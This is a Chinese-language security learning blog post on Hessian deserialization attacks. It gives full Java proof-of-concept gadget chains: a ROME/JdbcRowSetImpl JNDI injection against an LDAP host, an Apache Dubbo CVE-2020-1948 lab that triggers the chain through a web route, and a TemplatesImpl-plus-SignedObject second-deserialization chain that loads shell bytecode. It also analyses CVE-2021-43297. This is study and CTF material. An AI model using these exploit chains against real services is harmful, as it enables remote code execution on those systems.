March 21, 2023

被我忘掉的Hessian反序列化

RPC协议

RPC全称为Remote Procedure Call Protocol(远程调用协议),RPC和之前学的RMI十分类似,都是远程调用服务,它们不同之处就是RPC是通过标准的二进制格式来定义请求的信息,这样跨平台和系统就更加方便
RPC协议的一次远程通信过程如下

Hessian协议

Hessian是一个基于RPC的高性能二进制远程传输协议,官方对Java、Python、C++……语言都进行了实现,Hessian一般在Web服务中使用,在Java里它的使用方法很简单,它定义远程对象,并通过二进制的格式进行传输。

Hessian基本使用

1
2
3
4
5
<dependency>
<groupId>com.caucho</groupId>
<artifactId>hessian</artifactId>
<version>4.0.63</version>
</dependency>
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
import java.io.Serializable;

public class Person implements Serializable {
public String name;
public int age;

public int getAge() {
return age;
}

public String getName() {
return name;
}

public void setAge(int age) {
this.age = age;
}

public void setName(String name) {
this.name = name;
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;

public class Hessian_Test implements Serializable {

public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}

public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}

public static void main(String[] args) throws IOException {
Person person = new Person();
person.setAge(18);
person.setName("Feng");

byte[] s = serialize(person);
System.out.println((Person) deserialize(s));
}

}

Java原生反序列化:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
import java.io.*;

public class Ser_Test implements Serializable {

public static <T> byte[] serialize(T t) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(bao);
oos.writeObject(t);
System.out.println(bao.toString());
return bao.toByteArray();
}

public static <T> T deserialize(byte[] bytes) throws IOException, ClassNotFoundException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
ObjectInputStream ois =new ObjectInputStream(bai);
return (T) ois.readObject();
}

public static void main(String[] args) throws IOException, ClassNotFoundException {
Person person = new Person();
person.setAge(18);
person.setName("Feng");

byte[] s=serialize(person);
System.out.println((Person) deserialize(s));
}
}

上述两种反序列化输出结果如下:
image.png
image.png
其中Hessian反序列化的结果明显小了一些,但是本质上并没有什么差异性

Hessian反序列化漏洞

首先POC如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
import com.caucho.hessian.io.HessianInput;
import com.caucho.hessian.io.HessianOutput;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;

import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.Serializable;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Hessian_JNDI implements Serializable {

public static <T> byte[] serialize(T o) throws IOException {
ByteArrayOutputStream bao = new ByteArrayOutputStream();
HessianOutput output = new HessianOutput(bao);
output.writeObject(o);
System.out.println(bao.toString());
return bao.toByteArray();
}

public static <T> T deserialize(byte[] bytes) throws IOException {
ByteArrayInputStream bai = new ByteArrayInputStream(bytes);
HessianInput input = new HessianInput(bai);
Object o = input.readObject();
return (T) o;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static Object getValue(Object obj, String name) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
}

public static void main(String[] args) throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://localhost:9999/EXP";
jdbcRowSet.setDataSourceName(url);


ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

//手动生成HashMap,防止提前调用hashcode()
HashMap hashMap = makeMap(equalsBean,"1");

byte[] s = serialize(hashMap);
System.out.println(s);
System.out.println((HashMap)deserialize(s));
}

public static HashMap<Object, Object> makeMap ( Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}
}

image.png
可以看到RCE是成功了,那么我们就直接看看入口点在哪,在最开始的地方给个断点
image.png
在readObject计算tag的值,这里为77因此执行readType函数,跟进该函数
image.png
也没有做什么退回来,进入readMap函数
image.png
image.png
获取一个deserializer对象,由于2个判断都为null,所以进入this._hashMapDeserializer.readMap(in)
image.png
image.png
在这里创建了一个新的hashmap,这个hashmap应该是一个作为临时缓存的,往它put我们恶意对象,这里调用了2次readObject,因此我们会重复几次
image.png
重复过程结束后回到put方法
image.png
image.png
然后就是常规ROME链子了,这里选的是JdbcRowImpl链子触发JNDI注入,因此记得控制一下JDK版本

Apache Dubbo Hessian反序列化漏洞(CVE-2020-1948)

环境搭建

这一部分环境搭建可能比较麻烦,需要安装Dubbo,选用Zookeeper作为注册中心(Registry),Apache Dubbo框架的流程如下

  1. 首先服务容器加载并运行Provider
  2. Provider在启动时向注册中心Registry注册自己提供的服务
  3. Consumer在Registry处订阅Provider提供的服务
  4. 注册中心返回服务地址给Consumer
  5. Consumer根据Registry提供的服务地址调用Provider提供的服务
  6. Consumer和Provider定时向监控中心Monitor发送一些统计数据

https://www.apache.org/dyn/closer.lua/zookeeper/zookeeper-3.8.1/apache-zookeeper-3.8.1-bin.tar.gz
下载好后配置一下conf文件夹里的zoo.cfg文件,一开始不叫这个名字,改一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# The number of milliseconds of each tick
tickTime=2000
# The number of ticks that the initial
# synchronization phase can take
initLimit=10
# The number of ticks that can pass between
# sending a request and getting an acknowledgement
syncLimit=5
# the directory where the snapshot is stored.
# do not use /tmp for storage, /tmp here is just
# example sakes.
dataDir=E:\CTFLearning\apache-zookeeper-3.8.1-bin\data
dataLogDir=E:\CTFLearning\apache-zookeeper-3.8.1-bin\log
# the port at which the clients will connect
clientPort=2181
# the maximum number of client connections.
# increase this if you need to handle more clients
#maxClientCnxns=60
#
# Be sure to read the maintenance section of the
# administrator guide before turning on autopurge.
#
# https://zookeeper.apache.org/doc/current/zookeeperAdmin.html#sc_maintenance
#
# The number of snapshots to retain in dataDir
#autopurge.snapRetainCount=3
# Purge task interval in hours
# Set to "0" to disable auto purge feature
#autopurge.purgeInterval=1

## Metrics Providers
#
# https://prometheus.io Metrics Exporter
#metricsProvider.className=org.apache.zookeeper.metrics.prometheus.PrometheusMetricsProvider
#metricsProvider.httpHost=0.0.0.0
#metricsProvider.httpPort=7000
#metricsProvider.exportJvmInfo=true

随后就是准备dubbo-api了,创建一个SpringBoot项目,准备一个api接口

1
2
3
4
5
package com.api;

public interface IHello {
String IHello(String name);
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
<dependencies>
<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-web</artifactId>
</dependency>

<dependency>
<groupId>org.springframework.boot</groupId>
<artifactId>spring-boot-starter-test</artifactId>
<scope>test</scope>
</dependency>

<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-spring-boot-starter</artifactId>
<version>2.7.6</version>
</dependency>

#添加zookeeper依赖,并排除log4j依赖防止堆栈溢出
<dependency>
<groupId>org.apache.dubbo</groupId>
<artifactId>dubbo-dependencies-zookeeper</artifactId>
<version>2.7.6</version>
<type>pom</type>
<exclusions>
<exclusion>
<artifactId>slf4j-log4j12</artifactId>
<groupId>org.slf4j</groupId>
</exclusion>
</exclusions>
</dependency>

#添加远程接口依赖
<dependency>
<groupId>com.example</groupId>
<artifactId>dubbo-api</artifactId>
<version>0.0.1-SNAPSHOT</version>
</dependency>

</dependencies>

这里我太偷懒了,直接搬了枫佬的Github源码,一个个搭太折磨人了
https://github.com/Claradoll/Security_Learning
image.png
搭建好后访问hello路由出现如图所示内容即为正常

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
package com.example.dubboconsumer.consumer;

import com.api.IHello;
import org.apache.dubbo.config.annotation.Reference;
import org.springframework.web.bind.annotation.RequestMapping;
import org.springframework.web.bind.annotation.RequestParam;
import org.springframework.web.bind.annotation.RestController;

@RestController
public class HelloConsumer {

@Reference
private IHello iHello;

@RequestMapping("/hello")
public String hello(@RequestParam(name = "name")String name){
String h = iHello.IHello(name);
System.out.println("调用Provider");
return h;
}

@RequestMapping("/calc")
public void Hessian_Ser() throws Exception {
Object o = Hessian_Payload.getPayload();
Object b = iHello.IObject(o);
}
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package com.example.dubboconsumer.consumer;

import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;

import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Hessian_Payload {

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}

public static Object getPayload() throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://localhost:9999/EXP";
jdbcRowSet.setDataSourceName(url);


ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

HashMap hashMap = makeMap(equalsBean,"1");

return hashMap;
}
}

项目结构:
image.png
consumer相当于客户端,provider就是服务端,也就是rmi的客户端和服务端,然后zookeeper同样也需要开起来
image.png

反序列化漏洞分析

上面给出了Hessian_payload,用的还是ROME中的JdbcRow链,也就是触发JNDI,我们看看这一次Dubbo是怎么调用了hashcode

1
2
3
4
5
6
7
package com.api;

public interface IHello {
String IHello(String name);
Object IObject(Object o);
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
package com.example.dubboprovider.service;

import com.api.IHello;
import org.apache.dubbo.config.annotation.Service;

@Service
public class HelloService implements IHello {

@Override
public String IHello(String name) {
return "Hello "+name;
}

@Override
public Object IObject(Object o) {
return o;
}
}

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package com.example.dubboconsumer.consumer;

import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;

import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.HashMap;

public class Hessian_Payload {

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}

public static Object getPayload() throws Exception {
JdbcRowSetImpl jdbcRowSet = new JdbcRowSetImpl();
String url = "ldap://localhost:9999/EXP";
jdbcRowSet.setDataSourceName(url);


ToStringBean toStringBean = new ToStringBean(JdbcRowSetImpl.class,jdbcRowSet);
EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean);

HashMap hashMap = makeMap(equalsBean,"1");

return hashMap;
}
}

有一个接口和实现类,一个payload,就是上面的那个,然后创建一个calc路由:
image.png
访问该路由即弹计算机
image.png
断点就给在方法调用处(服务端的)
image.png
然后再给一个在DecodeableRpcInvocation的decode方法
image.png
对RMI反序列化熟悉一点的就会觉得这一部分其实和它很像,他们都会对数据进行decode和encode,那继续往下跟一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
    public Object decode(Channel channel, InputStream input) throws IOException {
ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), serializationType)
.deserialize(channel.getUrl(), input);

String dubboVersion = in.readUTF();
request.setVersion(dubboVersion);
setAttachment(DUBBO_VERSION_KEY, dubboVersion);

String path = in.readUTF();
setAttachment(PATH_KEY, path);
setAttachment(VERSION_KEY, in.readUTF());

setMethodName(in.readUTF());

String desc = in.readUTF();
setParameterTypesDesc(desc);

try {
Object[] args = DubboCodec.EMPTY_OBJECT_ARRAY;
Class<?>[] pts = DubboCodec.EMPTY_CLASS_ARRAY;
if (desc.length() > 0) {
// if (RpcUtils.isGenericCall(path, getMethodName()) || RpcUtils.isEcho(path, getMethodName())) {
// pts = ReflectUtils.desc2classArray(desc);
// } else {
ServiceRepository repository = ApplicationModel.getServiceRepository();
ServiceDescriptor serviceDescriptor = repository.lookupService(path);
if (serviceDescriptor != null) {
MethodDescriptor methodDescriptor = serviceDescriptor.getMethod(getMethodName(), desc);
if (methodDescriptor != null) {
pts = methodDescriptor.getParameterClasses();
this.setReturnTypes(methodDescriptor.getReturnTypes());
}
}
if (pts == DubboCodec.EMPTY_CLASS_ARRAY) {
pts = ReflectUtils.desc2classArray(desc);
}
// }

args = new Object[pts.length];
for (int i = 0; i < args.length; i++) {
try {
#这里反序列化
args[i] = in.readObject(pts[i]);
} catch (Exception e) {
if (log.isWarnEnabled()) {
log.warn("Decode argument failed: " + e.getMessage(), e);
}
}
}
}

image.png
这一段代码获取了远程接口对象的路径和类型,以及dubbo的版本等等信息,但是在最后进行了反序列化,并且这里的in输入流是Hessian2对象
image.png
因此必然接下来就是Hessian反序列化那一套流程
image.png
这里Hessian2和之前Hessian有些许不同,tag为72,看看72里的逻辑
image.png
也是readMap,然后进入doReadMap
image.png
image.png
之后map.put触发hashcode,然后也是ROME那一套按摩流程

Hessian二次反序列化利用链

TemplatesImpl+SignedObject二次反序列化

其实一开始在写上面的内容时我就好奇,为什么不用简答一点的Templates链,而偏要用复杂的JNDI链,在这里得到了解答,这是由于Hessian反序列化和Java原生反序列化的区别

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
package Hessian2;

import Tools.Hessian2_Tools;
import Tools.Make_Map;
import com.rometools.rome.feed.impl.ObjectBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.HashMap;

public class Hessian2_TemplatesImpl {

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}

public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();

byte[] bytecodes = Files.readAllBytes(Paths.get("E:\\CTFLearning\\Security_Learning-master\\Security_Learning-master\\Hessian_Learning\\dubbo_Learning\\shell.class"));

setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(TemplatesImpl.class,templatesimpl);

ObjectBean objectBean = new ObjectBean(ToStringBean.class,toStringBean);

HashMap hashMap = Make_Map.makeMap(objectBean,"1");

byte[] payload = Hessian2_Tools.Hessian2_Serial(hashMap);
Hessian2_Tools.Hessian2_Deserial(payload);


}

}

运行之后不会RCE,会得到一段报错
image.png
这是由于Tempaltes的_tfactory被transient修饰符修饰了,不可进行反序列化
image.png
那为什么原生的Java反序列化不会受到这个限制呢。这是因为原生反序列化过程中,假如类的readObject重写了,那就会调用它重写的逻辑,因此看看Templates类的readOBject方法:
image.png
它手动new了一个TransformerFactoryImpl实例,这样就不会遇到那种问题了

那既然如此,我们该如何绕过这个限制呢?思路其实很清晰,就是找一个类,那个类里有原生的readObject,这样就可以通过它触发二次反序列化,得以RCE,这个类也有一些要求,那就是要接上我们之前的Rome链子,在调用任意get和set那里接上,那么就要求目标类的get或者set方法中有readObject方法(等有时间了一定要学一手CodeQL审一下。。。)
就如标题一样,找到的那个类叫做SignedObject,我们看看他的get和set方法
image.png
这里调用了readObject,是getter方法,并且this.content我们可控
image.png
在构造方法中直接传入即可

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
package Hessian2;

import com.caucho.hessian.io.Hessian2Input;
import com.caucho.hessian.io.Hessian2Output;
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;

import javax.management.BadAttributeValueExpException;
import javax.xml.transform.Templates;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.security.*;
import java.util.HashMap;

public class Hessian2_SignedObject {



public static void main(String[] args) throws Exception {
TemplatesImpl templatesimpl = new TemplatesImpl();

byte[] bytecodes = Files.readAllBytes(Paths.get("E:\\CTFLearning\\Security_Learning-master\\Security_Learning-master\\Hessian_Learning\\dubbo_Learning\\shell.class"));

setValue(templatesimpl,"_name","aaa");
setValue(templatesimpl,"_bytecodes",new byte[][] {bytecodes});
setValue(templatesimpl, "_tfactory", new TransformerFactoryImpl());

ToStringBean toStringBean = new ToStringBean(Templates.class,templatesimpl);
BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(123);
setValue(badAttributeValueExpException,"val",toStringBean);

KeyPairGenerator keyPairGenerator;
keyPairGenerator = KeyPairGenerator.getInstance("DSA");
keyPairGenerator.initialize(1024);
KeyPair keyPair = keyPairGenerator.genKeyPair();
PrivateKey privateKey = keyPair.getPrivate();
Signature signingEngine = Signature.getInstance("DSA");

SignedObject signedObject = new SignedObject(badAttributeValueExpException,privateKey,signingEngine);

ToStringBean toStringBean1 = new ToStringBean(SignedObject.class, signedObject);

EqualsBean equalsBean = new EqualsBean(ToStringBean.class,toStringBean1);

HashMap hashMap = makeMap(equalsBean, equalsBean);

byte[] payload = Hessian2_Serial(hashMap);
Hessian2_Deserial(payload);
}

public static byte[] Hessian2_Serial(Object o) throws IOException {
ByteArrayOutputStream baos = new ByteArrayOutputStream();
Hessian2Output hessian2Output = new Hessian2Output(baos);
hessian2Output.writeObject(o);
hessian2Output.flushBuffer();
return baos.toByteArray();
}

public static Object Hessian2_Deserial(byte[] bytes) throws IOException {
ByteArrayInputStream bais = new ByteArrayInputStream(bytes);
Hessian2Input hessian2Input = new Hessian2Input(bais);
Object o = hessian2Input.readObject();
return o;
}

public static HashMap<Object, Object> makeMap (Object v1, Object v2 ) throws Exception {
HashMap<Object, Object> s = new HashMap<>();
setValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);

Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, v1, v1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, v2, v2, null));
setValue(s, "table", tbl);
return s;
}

public static void setValue(Object obj, String name, Object value) throws Exception{
Field field = obj.getClass().getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
}
}

image.png
还挺好玩儿的

Apache Dubbo Hessian2异常处理反序列化漏洞(CVE-2021-43297)

这一个洞在网鼎杯和TCTF中都有考过,思路我个人认为和Ysoserial中C3P0生成payload那一块很像,就是利用Exception进入
image.png
image.png
在Hessian2的expect方法中有如上一段代码,可以发现红框中有一段字符串拼贴,会触发obj的toString,我们需要让obj为ToStringBean就可以RCE
那么就该寻找哪儿触发了expect方法,大佬们发现在readString中有一个分支会进入except方法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
    public int readString(char[] buffer, int offset, int length)
throws IOException {
int readLength = 0;

if (_chunkLength == END_OF_DATA) {
_chunkLength = 0;
return -1;
} else if (_chunkLength == 0) {
//从序列化流中读取tag标记
int tag = read();

switch (tag) {
case 'N':
return -1;

case 'S':
case BC_STRING_CHUNK:
_isLastChunk = tag == 'S';
_chunkLength = (read() << 8) + read();
break;

case 0x00:
...
case 0x1f:
_isLastChunk = true;
_chunkLength = tag - 0x00;
break;

default:
throw expect("string", tag);
}
}
...

在default,也就是谁都不匹配,就会进入该分值调用expect方法,那么继续找谁调用了readString,在decode阶段是会调用的

1
2
3
4
5
6
7
8
9
10
11
12
 public Object decode(Channel channel, InputStream input) throws IOException {
ObjectInput in = CodecSupport.getSerialization(channel.getUrl(), this.serializationType).deserialize(channel.getUrl(), input);
//获取版本信息
String dubboVersion = in.readUTF();
this.request.setVersion(dubboVersion);
this.setAttachment("dubbo", dubboVersion);
//获取路径
String path = in.readUTF();
setAttachment(PATH_KEY, path);
setAttachment(VERSION_KEY, in.readUTF());

...

readUTF方法中会调用
image.png

至于怎么去利用会在那两道题中写上

About this Post

This post is written by Boogipop, licensed under CC BY-NC 4.0.

#Java#CTF